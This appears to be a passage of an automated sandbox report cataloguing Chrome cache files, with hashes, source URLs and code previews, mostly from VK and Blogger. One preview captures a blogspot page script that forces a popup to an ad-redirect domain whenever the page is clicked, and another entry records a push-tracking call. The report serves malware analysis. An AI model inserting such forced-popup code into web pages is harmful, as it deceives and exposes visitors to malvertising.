null})).$$typeof,u=a?Symbol.for("react.memo"):"function"==typeof r.memo&&(0,r.memo)((f

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.650698343858124
Encrypted:	false
SSDEEP:	3:YCMxvVVXDESURYidQRxTADUxXMcYU:YCM5VCHdExMDkcXU
MD5:	7898FEE32EE7F0968345F6919D6041ED
SHA1:	A86B7D91F9842C49F93632B712DD5B76074D093C
SHA-256:	E0840D679EE5C89CA2540EECA9BE1AFFF8D04633966DF344193E4A276CCF565C
SHA-512:	EB78D18E7979C5AD36FB2E163A14AAB6A3C8FC585058D684D71F35D50EF27B9BD86352F8C95C5203938AD0F627F0E5CF0D6AC1A45A2A35733CC70ECD41AD5B7F
Malicious:	false
Reputation:	low
Preview:	{"gid":"0080f52b8e41436deb287525cd342cae","skipSubscribe":false}.

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text, with very long lines (2873)
Category:	downloaded
Size (bytes):	9031
Entropy (8bit):	5.527216820529872
Encrypted:	false
SSDEEP:	192:B1/6bZSDg3eksiGBpuMo5gXKl7LOjbke3CT2itXedSlFI:B1/6bZSDqeYGBbnal7LCbkkCT2oXedS8
MD5:	0A69A7A3530DE318072DE6182E31A0C6
SHA1:	9BF1165A0064FB85DD8F29DDC6C45AD5B9574EE9
SHA-256:	BF1E2557855835794A8A1D9C1403AC53373CCEA3006325357E5CB384E93D7514
SHA-512:	9B24B0255A19285BF345BB199BAFF4DCCACBB55521FA0581E2AB196D5C28EC936749C6F9A21233261CBDE37033DA5C91D7F03A3A1FE4B25D8F325A7717760740
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/html/r20241009/r20190131/zrt_lookup_fy2021.html
Preview:	<!DOCTYPE html><script>.(function(){'use strict';/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var l=this\|\|self;var m,n;a:{for(var aa=["CLOSURE_FLAGS"],v=l,z=0;z<aa.length;z++)if(v=v[aa[z]],v==null){n=null;break a}n=v}var ba=n&&n[610401301];m=ba!=null?ba:!1;function ca(){var a=l.navigator;return a&&(a=a.userAgent)?a:""}var A;const da=l.navigator;A=da?da.userAgentData\|\|null:null;function B(a){return m?A?A.brands.some(({brand:b})=>b&&b.indexOf(a)!=-1):!1:!1}function C(a){return ca().indexOf(a)!=-1};function E(){return m?!!A&&A.brands.length>0:!1}function F(){return E()?B("Chromium"):(C("Chrome")\|\|C("CriOS"))&&!(E()?0:C("Edge"))\|\|C("Silk")};function ea(a,b){Array.prototype.forEach.call(a,b,void 0)};function G(a){G[" "](a);return a}G[" "]=function(){};var fa=ca().toLowerCase().indexOf("webkit")!=-1&&!C("Edge");!C("Android")\|\|F();F();C("Safari")&&(F()\|\|(E()?0:C("Coast"))\|\|(E()?0:C("Opera"))\|\|(E()?0:C("Edge"))\|\|(E()?B("Microsoft Edge"):C("Edg/"))\|\|E()&&B

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65529), with no line terminators
Category:	downloaded
Size (bytes):	97847
Entropy (8bit):	5.351446661627064
Encrypted:	false
SSDEEP:	1536:r2EKEOcjmQhuiRZOOnglVLZmiWYiWW9LNSQUPqYvDnLRWu4/na+N+Np:WEOcHZOOnglxZQ9qPqYbLRW4p
MD5:	AA7E99FA2B6B856A591FDB0E95CBE851
SHA1:	47D1309645B3A4C78CCDF3173203187BE2F7D9E9
SHA-256:	F28BD5CA5B14D77BD1DBF1EB0B5D06112733DE08812F038AFDA7798AD064A0CC
SHA-512:	F53E972EF694862DE43B80E321EB6D1F6E9383111E149A0FB585BB3DFAB8B16F946C2C992DF74697EDE12F51670179C3307D857CD30B43042B57FDEEA4D3ABEF
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/63bd1145.7f0cc649.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[2527],{51921:(e,t,r)=>{r.d(t,{connectTrackTmrGroupsJoin:()=>d,groupsJoinAction:()=>c,trackTmrGroupsJoin:()=>s});var i=r(251703),o=r(957994),n=r(32489);const s=()=>(0,i.tmrSendTimespentEvent)(i.MY_TRACKER_COUNT_EVENT_IDS.COMMUNITY_SUBSCRIBE),a=(0,n.createEffect)({name:"fx/track_group_join",handler:s}),d=e=>(0,n.sample)({clock:e.done,target:a}),c=(e,t,r)=>(0,o.api)("groups.join",e,t,r).then((e=>(s(),e)))},869071:(e,t,r)=>{r.d(t,{connectTrackTmrGroupsJoin:()=>i.connectTrackTmrGroupsJoin,groupsJoinAction:()=>i.groupsJoinAction,trackTmrGroupsJoin:()=>i.trackTmrGroupsJoin});var i=r(51921)},256252:(e,t,r)=>{r.d(t,{hydrateComponent:()=>s});var i=r(474848),o=r(440961),n=r(384483);function s({component:e,descriptor:t}){const{data:r,target:s}=t.payload,{selector:a}=t;s&&s instanceof HTMLElement&&((0,n.registerReactApplication)(a,(t=>{o.render((0,i.jsx)(e,{...t}),s)})),window.initReactApplication(a,r))}},835426:(e,t,r)=>{r.

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65454)
Category:	dropped
Size (bytes):	694384
Entropy (8bit):	5.670238704753241
Encrypted:	false
SSDEEP:	12288:ogEzTBznEGpe+EJgh+aH78S5pnxYGkhLD5KYREDmEQ54H6gMwtqdVdY:ogE/BznEGpnEJglxYGkhLD5Kl
MD5:	3ABB7709904AF292C276FA93BC2E8CB4
SHA1:	7448039ADA40B6A00CA3932A72E91D8120CA7161
SHA-256:	80A172B10768C151E42D730A511B01243D4E6CC4A0B80A2EAD7822D422DC4D8F
SHA-512:	4FC1A46C9ED6502BC672A82CD12294E6D3FF3D1B624F6D571B9E00C96B9D76D409160749AEB5FB8E96C22A162A4882298DEF595D7B41FC340EBE42BA757D3037
Malicious:	false
Reputation:	low
Preview:	./! For license information please see bootstrap.ef881778.js.LICENSE.txt /.(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[35623],{365006:(e,t,o)=>{"use strict";o.d(t,{API_VERSION:()=>r});const r="5.243"},801746:(e,t,o)=>{"use strict";function r(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8 3.25a4.75 4.75 0 0 0-4.15 7.07.75.75 0 1 1-1.3.73A6.25 6.25 0 1 1 8 14.25a.75.75 0 0 1 0-1.5 4.75 4.75 0 1 0 0-9.5Z" clip-rule="evenodd"/></svg>',name:"spinner_16"}}o.d(t,{getIcon16Spinner:()=>r})},680208:(e,t,o)=>{"use strict";function r(){return{icon:'<svg fill="none" height="20" viewBox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M4.72 4.72c.3-.3.77-.3 1.06 0L10 8.94l4.22-4.22a.75.75 0 1 1 1.06 1.06L11.06 10l4.22 4.22a.75.75 0 1 1-1.06 1.06L10 11.06l-4.22 4.22a.75.75 0 0 1-1.06-1.06L8.94 10 4.72 5.78a.75.75 0 0 1 0-1.06z" fill="currentCo

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 300x169, components 3
Category:	downloaded
Size (bytes):	12590
Entropy (8bit):	7.936068059329612
Encrypted:	false
SSDEEP:	192:b1HE9rRQkzuEVJfUl0019CuTrywEujZNEK96XgXonpDJNQe6HyGiXEMTXOACULm4:RyzuKfUbCJwEwtrXc7qy9TXOACULXB
MD5:	84375B0FDF92A8A3C34C44E60A46C416
SHA1:	854EF6382CC689F6354A1CD206D845988EAB308D
SHA-256:	9162B19D03FBF6CED5E193380DC7675610259B0D58DA5E20A243A89814FDB46A
SHA-512:	9D07180C07D61FB1657C601F31FBA2AF88ED59937C0978985C1149BE9A2D782F8428236BF8F80AFADAF2F0C136F5E1C409442C400060D0EAE7B293016A46EB56
Malicious:	false
Reputation:	low
URL:	https://blogger.googleusercontent.com/img/a/AVvXsEhNSBCxza-9Vm_wzzSDljXblYAqFphshx9W6Cj3v4FTMfxOabEclNgX653uZHpemqUXK4ZjSlXdRCCJZEfqsfS_ZGG5w1Plyw7VR-wR3bhPAqUlEBycdvcymliiWooHhIo_A9iKKpN03q6X_KdEEEtocrAdBpQORzh0zJosW1k9ijrOx0paMjC7iiGa4jQ=s1280
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........,......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........,..".................................................................................E$_$.."BI8(...X5=..V-O.h.@..sC....A...2.HP"%...#."E0I...BD....BD..#6j'.>;(.I..=..z.....BI.E!.)...b....X".TIe.2.R.....0.....;..6\|..4~.,e.e... ..x...KS.....T.Z.;Y...<.PN9..$.t...(....30.\J..4.G....>.....a.yf.Nq......U..f.D.6..{....}.6..2k.......X....\|...GG/?[h^8......?W.y......w......b?K..Q..?j.8.Z.;y...H.....+...:u.gE.._.oK2..G=...~>.C...l..#~c3..e.v.!g..<..'.HqZ..Q...>..4....>.4..\.0.......'....![z....f..-s..Ms.A.-r..S..8nY..=~}.s.. ....-........9...../g&S6....-.c...z.xuc.2..Ke6...I......=..M....s$...>.'.w..Ki.Evk.k...ZY...+...,..)....}.u..m...4..s..St4..Y.0.......$,}....%..O..o..hk^.5-.&..t9cE

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (3369)
Category:	downloaded
Size (bytes):	18973
Entropy (8bit):	5.183301085886974
Encrypted:	false
SSDEEP:	192:sn5Zn3nu+Uit3R16Ze2NHzsDt8eRgZXh7OEl172HOkiACC7F6x2ZkzZk5kJ2DM:RTCAKAC7F6Ik9oEB
MD5:	1E3B088D7147E3A5F9E7566414FA592F
SHA1:	E67CC6329CD009AB869F67AEDF312A64C4E3744C
SHA-256:	967619B3F17AFBCBC592996D44FCEC4A3F1EDA51841B7467A1F65A7D070D1152
SHA-512:	76F97A3BF22846D96B12A389E72FAECCE0E792A9B012679666281C5425E8E31ECE8AAAEFEEEADEE0DA21F1C976AB33AC464A1DDAEF4FD2B5B8BC639DB1110D22
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/audioplayer-lib.93b52d88.css
Preview:	..AudioInfo__container--secondary{padding-left:20px}[dir=rtl] .AudioInfo__container--secondary{padding-left:0;padding-right:20px}..AudioPlayerBlockSectionsLayout-module__root--P3xRs{box-sizing:border-box;display:grid;grid-template-columns:auto 1fr auto;row-gap:0;align-items:center;padding:0 12px;width:100%;height:100%}.AudioPlayerBlockSectionsLayout-module__compact--jtPaX.AudioPlayerBlockSectionsLayout-module__root--P3xRs{padding:0 12px 0 4px;max-width:644px}[dir=rtl] .AudioPlayerBlockSectionsLayout-module__compact--jtPaX.AudioPlayerBlockSectionsLayout-module__root--P3xRs{padding:0 4px 0 12px}.AudioPlayerBlockSectionsLayout-module__playbackControls--GGpCx,.AudioPlayerBlockSectionsLayout-module__userControls--c5FwD{display:flex;align-items:center}.AudioPlayerBlockSectionsLayout-module__compact--jtPaX .AudioPlayerBlockSectionsLayout-module__playbackControls--GGpCx,.AudioPlayerBlockSectionsLayout-module__compact--jtPaX .AudioPlayerBlockSectionsLayout-module__userControls--c5FwD{position

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65267), with no line terminators
Category:	dropped
Size (bytes):	437179
Entropy (8bit):	5.6459186031568
Encrypted:	false
SSDEEP:	12288:GVI6IAEyAoQKi6h8VkKPGuue0FnKejrYG:9RAIKxh8V1PrH0FKeXN
MD5:	D763E78DF0FB549F7519C2BE165B36A7
SHA1:	1C8E173EDFB3138DFAB101B14BD21A6B6A7FF752
SHA-256:	75AA4D62DF66A879F67DCAE55D1C4A7CFB05C430F878E001D0AC6255A6DF2D21
SHA-512:	369183EF46559750069864CEE7AD5BFFC04B358D185CA81DFCE9EC99AEAA1F33679C634AFE5F65C58AE2C7928B1EB7DBE6BDE0D3BAA6B028A4304C5A0C329C07
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[85172],{937608:(e,t,n)=>{n.d(t,{getNearestOverflowAncestor:()=>p,getNodeScroll:()=>v,getWindow:()=>r,isElement:()=>i,isHTMLElement:()=>l});var a=n(153750);function o(e){return s(e)?(e.nodeName\|\|"").toLowerCase():"#document"}function r(e){var t;return(null==e\|\|null==(t=e.ownerDocument)?void 0:t.defaultView)\|\|window}function s(e){return(0,a._)(e,Node)\|\|(0,a._)(e,r(e).Node)}function i(e){return(0,a._)(e,Element)\|\|(0,a._)(e,r(e).Element)}function l(e){return(0,a._)(e,HTMLElement)\|\|(0,a._)(e,r(e).HTMLElement)}function c(e){return"undefined"!=typeof ShadowRoot&&((0,a._)(e,ShadowRoot)\|\|(0,a._)(e,r(e).ShadowRoot))}function u(e){var t=m(e),n=t.overflow,a=t.overflowX,o=t.overflowY,r=t.display;return/auto\|scroll\|overlay\|hidden\|clip/.test(n+o+a)&&!["inline","contents"].includes(r)}function d(e){return["html","body","#document"].includes(o(e))}function m(e){return r(e).getComputedStyle(e)}function v(e){return i(e)?{scrollLef

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, software=Google], progressive, precision 8, 300x169, components 3
Category:	dropped
Size (bytes):	12590
Entropy (8bit):	7.936068059329612
Encrypted:	false
SSDEEP:	192:b1HE9rRQkzuEVJfUl0019CuTrywEujZNEK96XgXonpDJNQe6HyGiXEMTXOACULm4:RyzuKfUbCJwEwtrXc7qy9TXOACULXB
MD5:	84375B0FDF92A8A3C34C44E60A46C416
SHA1:	854EF6382CC689F6354A1CD206D845988EAB308D
SHA-256:	9162B19D03FBF6CED5E193380DC7675610259B0D58DA5E20A243A89814FDB46A
SHA-512:	9D07180C07D61FB1657C601F31FBA2AF88ED59937C0978985C1149BE9A2D782F8428236BF8F80AFADAF2F0C136F5E1C409442C400060D0EAE7B293016A46EB56
Malicious:	false
Reputation:	low
Preview:	......JFIF.............lExif..II.......1.......2...............i.......:.......Google............0220........,......................C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........,..".................................................................................E$_$.."BI8(...X5=..V-O.h.@..sC....A...2.HP"%...#."E0I...BD....BD..#6j'.>;(.I..=..z.....BI.E!.)...b....X".TIe.2.R.....0.....;..6\|..4~.,e.e... ..x...KS.....T.Z.;Y...<.PN9..$.t...(....30.\J..4.G....>.....a.yf.Nq......U..f.D.6..{....}.6..2k.......X....\|...GG/?[h^8......?W.y......w......b?K..Q..?j.8.Z.;y...H.....+...:u.gE.._.oK2..G=...~>.C...l..#~c3..e.v.!g..<..'.HqZ..Q...>..4....>.4..\.0.......'....![z....f..-s..Ms.A.-r..S..8nY..=~}.s.. ....-........9...../g&S6....-.c...z.xuc.2..Ke6...I......=..M....s$...>.'.w..Ki.Evk.k...ZY...+...,..)....}.u..m...4..s..St4..Y.0.......$,}....%..O..o..hk^.5-.&..t9cE

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (39550), with no line terminators
Category:	downloaded
Size (bytes):	39577
Entropy (8bit):	5.296503458696106
Encrypted:	false
SSDEEP:	768:FnKhJy7QXxTLNbp0TjR0OqT83oCFnyqV7uusuNXMaPMtYTpdMXs1/19knAMS8vnI:FK7nTfrTBqdlmfSs8x19knh/q78JMV2o
MD5:	CD1267F5BAE9CB111420EC6B9B3A56E9
SHA1:	724E51C1308074C31DB9E8B1A03D6B59A7B5297E
SHA-256:	1ECADAC9D68BB1CB6CC4D1540D12A047D731BEE7D7435A2D31C2AC5C618AA16C
SHA-512:	1044D01500DCEB817CF4454BC41EC545AFB93B11661792284FE58F80D4C8DBC24CACBD85787FAAB00FE975EEE2D655AC3250E31086E56D55D97076F3771D04F5
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/063cb66e.538c1d19.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[14232],{118920:(e,t,s)=>{s.d(t,{default:()=>i});var n=s(474848),o=s(296540);class i extends o.Component{static mapFilterOptionsToDropdownOptions(e){return e?e.map((e=>[e.constant,e.name])):[]}componentDidMount(){const e=this.props.config.placeholder\|\|"",t=this.onChange.bind(this);this.state.input=new Dropdown(ge(this.state.filterElementId),i.mapFilterOptionsToDropdownOptions(this.props.config.options),{selectedItems:this.props.config.selected,onChange:t,placeholder:e,multiselect:!this.props.singleSelectCrutch,autocomplete:!0,width:this.props.width??200,big:!0,maxItems:this.props.maxItems??50})}componentDidUpdate(e,t,s){if(this.props.config.selected!==e.config.selected&&Array.isArray(this.props.config.selected)&&0===this.props.config.selected.length)this.state.input.clear();else if(this.props.singleSelectCrutch){const t=this.state.input.selectedItems(),s=t&&t[0]&&t[0][0]?t[0][0]:null;if(!s)return;this.props.confi

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65531), with no line terminators
Category:	downloaded
Size (bytes):	109845
Entropy (8bit):	5.5669435274951
Encrypted:	false
SSDEEP:	1536:L2Utc+g2OQ6HR0Djgq45IErMVc9uWBESrhLL3jfPpje/3YxyyjGTn:L2QgRTij8rFrfS/3Yxyyjq
MD5:	E8DF6312BDFCD275B32AEA3831876A32
SHA1:	AAD8472FF22ADFD19B766667371BED19B56652C3
SHA-256:	7AD444443F2A7AC91CBC78D2FAD78B3FDD97CEBD45665AE2AD4AB31EB746DB66
SHA-512:	F9917B4E702EB0ECA86DBDFD57CCC1D35042F1E52D4E203D1970B257AA942953810FB22CC717E40BFB33CD3E8ACBE092B7460B83331B559A5DF5419713A8A56E
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/chunks/5aea220e.dc3e62a1.js
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[77274],{316032:(e,t,o)=>{function i(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="currentColor" viewBox="0 0 12 12"><path fill-rule="evenodd" d="M4.22 2.47a.75.75 0 0 1 1.06 0l3 3a.75.75 0 0 1 0 1.06l-3 3a.75.75 0 0 1-1.06-1.06L6.69 6 4.22 3.53a.75.75 0 0 1 0-1.06Z" clip-rule="evenodd"/></svg>',name:"chevron_12"}}o.d(t,{getIcon12Chevron:()=>i})},126415:(e,t,o)=>{function i(){return{icon:'<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="currentColor" viewBox="0 0 12 12"><path d="m8.53 4.69.06.18-.22-.63a.83.83 0 0 0-1.6.47l.13.48-.23-.85a.82.82 0 0 0-1.6.24l-.73-2.93a.85.85 0 0 0-1.65.4L4 7.34 2.87 6.18A.8.8 0 0 0 1.66 7.2l2.23 2.94s1.23 1.83 4.3 1.23c2.43-.48 3.25-2.67 2.59-4.88l-.56-2.3a.88.88 0 1 0-1.7.49Z"/></svg>',name:"hand_point_up_12"}}o.d(t,{getIcon12HandPointUp:()=>i})},638770:(e,t,o)=>{function i(){return{icon:'<svg xmlns="http://www.w3.org/2000

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (3988)
Category:	downloaded
Size (bytes):	41119
Entropy (8bit):	5.299512734038323
Encrypted:	false
SSDEEP:	384:EQO5SU0Ap6y6K31BM2ATojIJqcPiweVEPsbEasWXalTVMT7EkLNbrBNX3fBq4lC3:GSU0OXBcLXPMT7EYJjJhkP/
MD5:	600219BBA572D06FA493ACA819FBC9E5
SHA1:	FDCD891C29C1B8B53DD4BA7BDE96340788388B15
SHA-256:	F550A719AF242311E0A3F4BCC194436435A3093252E79EC4C791F9BF5F671267
SHA-512:	EA9DB5353AD1EBAC551580DEA72BD03A3134C33979096977F014CD2780F66FE197AA299EB0E69F8430BB329936DD9336548F5A7C7910469DFE780D0A216B39AA
Malicious:	false
Reputation:	low
URL:	https://st6-20.vk.com/dist/web/videoview.d0485e10.css
Preview:	..MutePopup-module__icon--LNwv3{color:var(--vkui--color_icon_accent)}.MutePopup-module__text--yZGeR{color:var(--vkui--color_text_primary)}..DynamicPagination-module__root--sC7FF{display:flex;align-items:center;justify-content:center;flex-direction:column;height:42px;width:100%;position:relative}.DynamicPagination-module__rootHidden--XQzXr{display:none}.DynamicPagination-module__pagination--CwPIE{height:2px;width:100%;position:absolute;left:0;bottom:2px}[dir=rtl] .DynamicPagination-module__pagination--CwPIE{left:auto;right:0}.DynamicPagination-module__paginationHidden--e5uRf{display:none}..IconButton-module__button--a4kvp{display:flex;align-items:center;justify-content:center;width:40px;height:40px;min-width:40px;min-height:40px}..Snackbar-module__root--rsFtI{bottom:48px}..VirtualList-module__root--J4Lg9{--virtual-list-height:0;position:relative;width:100%;outline:0;overflow:hidden;height:100%;min-height:var(--virtual-list-height, 0)}.VirtualList-module__viewport--Mhqvr{position:absol

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2178)
Category:	downloaded
Size (bytes):	399689
Entropy (8bit):	5.537695558046138
Encrypted:	false
SSDEEP:	3072:pjzBi8XqWoGEWC/kFoipcOnYItj2j8zJXT7JN81Kw4xRDi/CKQcEoHWX8pAcDiBz:pjzQ/x2nNm89J4K8q8pAF9x
MD5:	B4AA81ED7A3B191C059A935CE8ED232D
SHA1:	7345100DBF2B573AA04750580F5FD0748DE9AB1D
SHA-256:	5D9D874CDAF7E88192FAE8A89890A1D1A0FC526576561C67992F19918FF7FDDD
SHA-512:	84E587A07170B98FBDD2074CFA1F2F0A5596F86C2E185033C7FBBC6D7D755DFD8EA9241EB59DB1C66FC49128F2111E8F6C38232372496E0FB2DE937485DF7488
Malicious:	false
Reputation:	low
URL:	https://www.blogger.com/static/v1/jsbin/3701120628-lbx__ar.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0./.var aa='" class="',ba='" src="',ca='" tabindex="0" role="link" idlink>\u062a\u0631\u0627\u062c\u0639</span>',da='" target="_blank">',fa='"/><img class="',ha='">',ia='"></div></div>',ja='"></div><div class="',la='"><div class="',ma=""",na="-caption",oa="-content",pa="-disabled",qa="-inner-box",ra="-outer-box",sa="-top-shadow",ta="-webkit-backface-visibility",ua="-webkit-transform",va="-webkit-transform ",wa="-webkit-transform-style",xa="-webkit-transition",ya="0px",za="</div>",Aa='</div><div class="',.Ba='</p><p class="',Ca='<div class="',Da="<div>",Ea='<img class="',Fa="Android",Ga="CSS_APP_NOTIFYWIDGET",Ha="CSS_CLEAR_BOTH_NO_HEIGHT",Ia="CSS_HCONT_CHILD",Ja="CSS_LAYOUT_COMPONENT",Ka="CSS_LIGHTBOX_ATTRIBUTION_INFO",La="CSS_LIGHTBOX_ATTRIBUTION_LINK",Ma="CSS_LIGHTBOX_BTN_ARROW",Na="CSS_LIGHTBOX_FILMSTRIP_CONTROLS_LEFT",Oa="

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (64417), with no line terminators
Category:	dropped
Size (bytes):	142640
Entropy (8bit):	5.565588789232486
Encrypted:	false
SSDEEP:	1536:sdkQX3mc2eL40OG7YOOUDCi6XyGk/Wi+OYl3RatqN+pM+rwVqQ5zuk89DxHddUvw:zS40jTOUDCi6XyZ/WivifqPkmDxMy
MD5:	C094565B31BCD2F458424192120A31B9
SHA1:	15348F2811A3D230E326F689FD80D7B229757091
SHA-256:	DE5C4ED26C226DE5BF204815381A3070B889C683C806096E68DBF8718E7E2FCC
SHA-512:	89ACD10B22600D6D0349067EC352CE13866BC3ED3D2FF57564CCE882AA76B83084403F599715CE49752B4E3FCF446DB9CD5D7DEB7FAEAF67FA007DC2BEB3D34E
Malicious:	false
Reputation:	low
Preview:	."use strict";(self.webpackChunkvkweb=self.webpackChunkvkweb\|\|[]).push([[82887],{433499:(e,t,o)=>{o.d(t,{useEmoji:()=>d});var i=o(296540),n=o(153078),r=o(898848);const d=({inputValue:e,inputRef:t,onChangeInput:o,emojiOpts:d})=>{(0,i.useLayoutEffect)((()=>{t.current&&window.Emoji&&e!==window.Emoji.val(t.current)&&(window.Emoji.val(t.current,window.Emoji.emojiToHTML((0,r.clean)(e))),(0,n.setEndOfContentEditable)(t.current))}),[e]),(0,i.useEffect)((()=>{let e=null;return window.stManager.add([window.jsc("web/emoji.js")],(function(){t?.current?e=window.Emoji.init(t.current,d):console.error(".. ....... ................ ...... ..-.. .......... ref")})),()=>{e&&window.Emoji&&window.Emoji.destroy(e)}}),[]);return{handleInput:e=>{e.preventDefault();const t=e.target;t instanceof HTMLElement&&window.Emoji&&o(window.Emoji.val(t))}}}},515360:(e,t,o)=>{o.d(t,{formatCommentText:()=>s});var i=o(839348),n=o(148636),r=o(898848),d=o(573859);const s=(e,t=!1)=

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (28233)
Category:	downloaded
Size (bytes):	74539
Entropy (8bit):	5.792587087995118
Encrypted:	false
SSDEEP:	1536:7YkUFxkyipWYB4mfpMpQQYjWmB+fpMpQQYjWDJmzm/XuZaN:9mkyitBZ6p0jhB+6p0j8JmzdZA
MD5:	E1A30A1B0A5A9290FDDE1936A7B84A6D
SHA1:	99B1FF7E6BA8EFDF9B32AC4CA3E01BA7C7809C4B
SHA-256:	ACBB626393DE7059C50E4B6C0FA098DFCBD62BF63730D2BA33B2C9D9A15FEF2B
SHA-512:	B33F0C6D0B186972EC82EE004C169FE8061180854A0D57DE8C922CEBE39AE19C1FF0FE15333900BCA7E7536404E65B89A603453B47F4CFD2979D8D330085E013
Malicious:	false
Reputation:	low
URL:	https://sqsq2938.blogspot.com/2024/10/4_4.html
Preview:	<!DOCTYPE html>.<html dir='rtl' lang='en-US' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>.<head>.<script type='text/javascript'>..document.body.onclick= function(){..window.open('https://accompanimentrealistic.com/qqmxnq69g4?key=e9c5afd545019ee1fdd79ed9c52c406f', 'poppage', 'toolbars=0, scrollbars=1, location=0, statusbars=0, menubars=0, resizable=1, width=800, height=600, left = 300, top = 50');..}</script>. Defult metatags -->.<link href='https://sqsq2938.blogspot.com/2024/10/4_4.html' rel='canonical'/><link href='https://sqsq2938.blogspot.com/favicon.ico' rel='icon' type='image/x-icon'/><meta content='width=device-width, initial-scale=1.0, shrink-to-fit=no' name='viewport'/><title>..... ...... ...... 4</title><meta content='6002409460088195649' id='gels'/><meta content='' name='theme-color'/><meta content='' name='msapplication-na

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	65
Entropy (8bit):	4.650698343858124
Encrypted:	false
SSDEEP:	3:YCMxvVVXDESURYidQRxTADUxXMcYU:YCM5VCHdExMDkcXU
MD5:	7898FEE32EE7F0968345F6919D6041ED
SHA1:	A86B7D91F9842C49F93632B712DD5B76074D093C
SHA-256:	E0840D679EE5C89CA2540EECA9BE1AFFF8D04633966DF344193E4A276CCF565C
SHA-512:	EB78D18E7979C5AD36FB2E163A14AAB6A3C8FC585058D684D71F35D50EF27B9BD86352F8C95C5203938AD0F627F0E5CF0D6AC1A45A2A35733CC70ECD41AD5B7F
Malicious:	false
Reputation:	low
URL:	https://my.rtmark.net/gid.js?pub=0&userId=f2f49fd4c0434a65982f5e4c1488d6fd&zoneId=8165884&checkDuplicate=true&ymid=&var=&source=pusher
Preview:	{"gid":"0080f52b8e41436deb287525cd342cae","skipSubscribe":false}.

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65454)
Category:	downloaded
Size (bytes):	694788
Entropy (8bit):	5.670157103666257
Encrypted:	false
SSDEEP:	12288:ag5ztBznEGMSCkJgh+aH78S5pns5Gk3LX5KYREDmEQ54H6gMwtqdVd+:ag5ZBznEGMPkJgls5Gk3LX5KH
MD5:	2D8C8EDEAD96E9B549E7BF9FA3868793
SHA1:	001D167EF82E517F56C70B6FC181812AEB9765A7
SHA-256:	D381183971566D01C8E86B273480910F40D0B8243F8D1F918F604914EFA6DB14
